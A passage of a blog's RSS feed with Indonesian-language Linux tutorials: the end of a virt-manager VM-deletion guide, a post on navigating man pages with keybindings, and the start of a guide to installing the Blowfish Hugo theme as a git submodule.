&lt;/span&gt;&lt;span&gt;&amp;lt;vm_name&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# atau&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;virsh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qemu:///system&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;undefine&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--domain&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;vm_name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian, kita juga perlu menghapus &lt;em&gt;file storage&lt;/em&gt;-nya juga secara manual:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-r&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/var/lib/libvirt/images/&amp;lt;vm_name&amp;gt;.qcow2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Deleting VM&quot; loading=&quot;lazy&quot; width=&quot;713&quot; height=&quot;536&quot; src=&quot;/_astro/ss10.v_3W6dln_2mrfuz.webp&quot; /&gt;&lt;figcaption&gt;Deleting VM&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Sekian.&lt;br /&gt;
Semoga bermanfaat.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;em&gt;Since I played “Virt-manager” at the first time, I knew this hypervisor has been outrageously captivating&lt;/em&gt;… Saya bahkan bisa menjalankan &lt;a href=&quot;https://hypr.land/&quot; target=&quot;_blank&quot;&gt;hyprland&lt;/a&gt; dengan relatif lancar, berbanding jauh dengan Virtualbox &amp;amp; VMWare yang &lt;em&gt;laggy&lt;/em&gt; parah..&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;hyprland on virt-manager!&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;768&quot; src=&quot;/_astro/show.Ir0_Uxey_1bTxfM.webp&quot; /&gt;&lt;figcaption&gt;hyprland on virt-manager!&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://virt-manager.org/&quot; target=&quot;_blank&quot;&gt;https://virt-manager.org/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.redhat.com/en/topics/virtualization/what-is-KVM&quot; target=&quot;_blank&quot;&gt;https://www.redhat.com/en/topics/virtualization/what-is-KVM&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.vmware.com/topics/hypervisor&quot; target=&quot;_blank&quot;&gt;https://www.vmware.com/topics/hypervisor&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://aws.amazon.com/compare/the-difference-between-type-1-and-type-2-hypervisors/?nc1=h_ls&quot; target=&quot;_blank&quot;&gt;https://aws.amazon.com/compare/the-difference-between-type-1-and-type-2-hypervisors/?nc1=h_ls&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>How to Read `man` Page?</title><link>https://shangdi.github.io/posts/tech/man/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/man/</guid><description>Have you ever read man page in an effective way? If you have not, I will show you the art of reading man page, here...</description><pubDate>Mon, 09 Jun 2025 03:30:26 GMT</pubDate><content:encoded>&lt;p&gt;Terkadang, kita memerlukan &lt;code&gt;man&lt;/code&gt; &lt;em&gt;page&lt;/em&gt; untuk mencari tahu dokumentasi suatu &lt;em&gt;tool&lt;/em&gt; di linux, terutama &lt;em&gt;tool&lt;/em&gt; yang berbasis &lt;em&gt;command line&lt;/em&gt; (CLI). Dengan membaca dokumentasi tersebut, kita berharap mendapatkan informasi tentang cara menggunakan &lt;em&gt;tool&lt;/em&gt; tersebut tanpa harus mencarinya di internet.&lt;/p&gt;
&lt;p&gt;Cara membaca dokumentasinya pun cukup mudah, kita hanya perlu mengetikkan &lt;code&gt;man&lt;/code&gt; sebelum nama &lt;em&gt;tools&lt;/em&gt;-nya. Misalnya, saya ingin melihat dokumentasi perintah &lt;code&gt;ls&lt;/code&gt;:&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;man&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Kemudian, kita dapat membaca dokumentasi tersebut dengan mengandalkan tombol arah panah atau huruf “&lt;code&gt;j&lt;/code&gt;” (untuk &lt;em&gt;scroll down&lt;/em&gt;) &amp;amp; “&lt;code&gt;k&lt;/code&gt;” (untuk &lt;em&gt;scroll up&lt;/em&gt;) di &lt;em&gt;keyboard&lt;/em&gt; sebagai navigasi &lt;em&gt;scroll&lt;/em&gt;-nya.&lt;/p&gt;
&lt;p&gt;Tombol &lt;em&gt;&lt;strong&gt;“&lt;code&gt;Enter&lt;/code&gt;”&lt;/strong&gt;&lt;/em&gt; juga dapat digunakan untuk &lt;em&gt;scroll down&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Atau, jika ingin lebih cepat melakukan scrolling, kita juga bisa menggunakan tombol “&lt;code&gt;Pg Up&lt;/code&gt;” (untuk scroll up satu halaman) &amp;amp; “&lt;code&gt;Pg Dn&lt;/code&gt;” (untuk scroll down satu halaman).&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt; Tidak semua CLI &lt;em&gt;tools&lt;/em&gt; memiliki dokumentasi (&lt;code&gt;man&lt;/code&gt; &lt;em&gt;page&lt;/em&gt;), namun, mayoritas pasti memilikinya. Jadi, jangan heran jika mendapati ada tools yang tidak memiliki &lt;code&gt;man&lt;/code&gt; &lt;em&gt;page&lt;/em&gt;.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Tapi, bagaimana jika dokumentasi yang hendak kita baca tersebut banyak dan panjang, sementara kita hanya ingin mengetahui informasi tertentu saja? Tentu mengandalkan &lt;em&gt;scrolling&lt;/em&gt; adalah cara yang normal, walaupun tidak efektif dan efisien.&lt;/p&gt;
&lt;p&gt;Kita dapat mengandalkan fitur &lt;em&gt;&lt;strong&gt;“search”&lt;/strong&gt;&lt;/em&gt; dengan menekan tombol garis miring &lt;em&gt;&lt;strong&gt;(&lt;code&gt;/&lt;/code&gt;)&lt;/strong&gt;&lt;/em&gt; dan mengetikkan &lt;em&gt;keyword&lt;/em&gt; spesifik yang ingin dicari. Kemudian, untuk meloncat dari satu keyboard ke keyword yang sama, gunakan &lt;em&gt;&lt;strong&gt;“&lt;code&gt;n&lt;/code&gt;”&lt;/strong&gt;&lt;/em&gt; (untuk &lt;em&gt;next&lt;/em&gt;) dan &lt;em&gt;&lt;strong&gt;“&lt;code&gt;N&lt;/code&gt;”&lt;/strong&gt;&lt;/em&gt; (untuk &lt;em&gt;previous&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Selain itu, kita juga bisa loncat ke bagian akhir &lt;code&gt;man&lt;/code&gt; &lt;em&gt;page&lt;/em&gt; dengan tombol &lt;strong&gt;“&lt;code&gt;G&lt;/code&gt;”&lt;/strong&gt; atau loncat ke bagian awal man page dengan tombol &lt;strong&gt;“&lt;code&gt;g&lt;/code&gt;”&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Contoh, saya ingin mencari &lt;em&gt;keyword&lt;/em&gt; &lt;strong&gt;“file”&lt;/strong&gt; di &lt;code&gt;man&lt;/code&gt; &lt;em&gt;page&lt;/em&gt; &lt;strong&gt;&lt;code&gt;ls&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;Singkatnya, berikut adalah beberapa &lt;em&gt;keybinding&lt;/em&gt; &lt;code&gt;man&lt;/code&gt; &lt;em&gt;page&lt;/em&gt;:&lt;/p&gt;













































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Keybinding&lt;/th&gt;&lt;th&gt;Deskripsi&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;/&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Masuk ke mode input &lt;em&gt;keyword&lt;/em&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;j&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;em&gt;Scroll down&lt;/em&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;k&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;em&gt;Scroll up&lt;/em&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;g&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Pindah ke awal halaman&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;G&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Pindah ke akhir halaman&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;n&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Loncat ke &lt;em&gt;keyword&lt;/em&gt; berikutnya&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;N&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Loncat ke keyword sebelumnya&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;h&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Melihat keybinding lain di &lt;code&gt;man&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;q&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Quit&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Sebelum ditutup, saya ingin menegaskan 3 hal:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;man&lt;/code&gt; &lt;em&gt;page&lt;/em&gt; sangat bermanfaat, terutama jika kita ingin mengetahui cara pemakaian suatu tools/utilities/commands di Linux.&lt;/li&gt;
&lt;li&gt;Beberapa &lt;em&gt;keybinding&lt;/em&gt; lainnya juga dapat dilihat dengan menekan &lt;strong&gt;“&lt;code&gt;h&lt;/code&gt;”&lt;/strong&gt; di &lt;em&gt;keyboard&lt;/em&gt; ketika &lt;code&gt;man&lt;/code&gt; &lt;em&gt;page&lt;/em&gt; sedang terbuka.&lt;/li&gt;
&lt;li&gt;Bahkan, jika kita ingin tahu penggunaan &lt;code&gt;man&lt;/code&gt;, kita bisa membuka &lt;code&gt;man&lt;/code&gt; &lt;em&gt;page&lt;/em&gt; dari &lt;code&gt;man&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;</content:encoded></item><item><title>Blowfish: Another Special, Modern, and Feature-Rich Hugo&apos;s Theme</title><link>https://shangdi.github.io/posts/tech/blowfish/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/blowfish/</guid><description>This is just a brief explanation on installing and configuring blowfish as Hugos theme.</description><pubDate>Sat, 07 Jun 2025 11:09:46 GMT</pubDate><content:encoded>&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;WARNING&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Artikel ini tidak sedang mengajari cara membuat website Hugo, tapi menggunakan salah satu tema Hugo, yaitu &lt;a href=&quot;https://blowfish.page/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;blowfish&lt;/strong&gt;&lt;/a&gt;. Cara membuat website dengan Hugo ada di sini:&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;a href=&quot;/posts/tech/hugo-ing/&quot;&gt;&lt;div&gt;&lt;div&gt;Hugo-ing (from Zero to Hero)&lt;/div&gt;&lt;div&gt;Beginner step to start creating static-site via using Hugo.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2023-10-07&lt;/span&gt;&lt;span&gt;hugo&lt;/span&gt;&lt;span&gt;&lt;span&gt;#hugo&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;219&quot; src=&quot;/_astro/featured.Cy0Vexud_2x0WC7.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;
&lt;blockquote&gt;&lt;p&gt;References:
Semua referensi pada artikel ini merujuk pada blog dan github resmi &lt;strong&gt;blowfish&lt;/strong&gt;:&lt;br /&gt;
&lt;a href=&quot;https://blowfish.page&quot; target=&quot;_blank&quot;&gt;https://blowfish.page&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/nunocoracao/blowfish&quot; target=&quot;_blank&quot;&gt;https://github.com/nunocoracao/blowfish&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;a href=&quot;https://github.com/nunocoracao/blowfish&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;nunocoracao&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;blowfish&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;
&lt;section&gt;&lt;h2&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Ada banyak cara meng-&lt;em&gt;install&lt;/em&gt; tema &lt;strong&gt;blowfish&lt;/strong&gt; untuk Hugo, tapi yang biasa saya lakukan adalah meng-&lt;em&gt;install&lt;/em&gt;-nya menggunakan &lt;strong&gt;&lt;code&gt;git&lt;/code&gt;&lt;/strong&gt; sebagai &lt;em&gt;submodule&lt;/em&gt;:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mywebsite&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# masuk ke direktori website kita&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;submodule&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://github.com/nunocoracao/blowfish.git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;themes/blowfish&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian, kita &lt;em&gt;copy&lt;/em&gt; direktori &lt;code&gt;config&lt;/code&gt; dari folder tema blowfish ke root &lt;em&gt;directory&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;themes/blowfish/config&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Sehingga, nanti struktur direktori kita menjadi seperti ini:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mywebsite&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├── achetypes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├── assets&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├── config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│   └── _default&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│       ├── hugo.toml&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│       ├── languages.en.toml&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│       ├── markup.toml&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│       ├── menus.en.toml&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│       ├── module.toml&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│       └── params.toml&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├── content&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├── data&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├── il8n&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├── layouts&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├── public&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;└── themes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;└── blowfish&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Sampai sini, proses instalasi telah selesai.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Installing updates&lt;a href=&quot;#installing-updates&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Jika ingin meng-_update_nya suatu saat nanti:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;submodule&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;update&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--remote&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--merge&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Apa yang perlu dilakukan setelah berhasil update?&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Ganti &lt;code&gt;/config&lt;/code&gt;&lt;a href=&quot;#ganti-config&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Ganti direktori &lt;code&gt;config&lt;/code&gt; di root project dengan direktori &lt;code&gt;config&lt;/code&gt; dari folder &lt;code&gt;themes/blowfish/config&lt;/code&gt;. Pastikan stukturnya lengkap seperti ini:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;themes/blowfish&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;└── config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;└── _default&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── hugo.toml&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── languages.en.toml&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── markup.toml&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── menus.en.toml&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── module.toml&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;└── params.toml&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Selain itu, pastikan juga parameter-parameter yang ada di dalam filenya sudah disesuaikan dengan website kita. Jadi, jangan asal &lt;em&gt;copy-paste&lt;/em&gt;.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Ganti &lt;code&gt;/layouts&lt;/code&gt;&lt;a href=&quot;#ganti-layouts&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Ganti juga direktori &lt;code&gt;layouts&lt;/code&gt; yang ada di root project dengan direktori &lt;code&gt;layouts&lt;/code&gt; dari folder &lt;code&gt;themes/blowfish/layouts&lt;/code&gt;. Pastikan strukturnya lengkap seperti ini:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;themes/blowfish&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;└── layouts&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 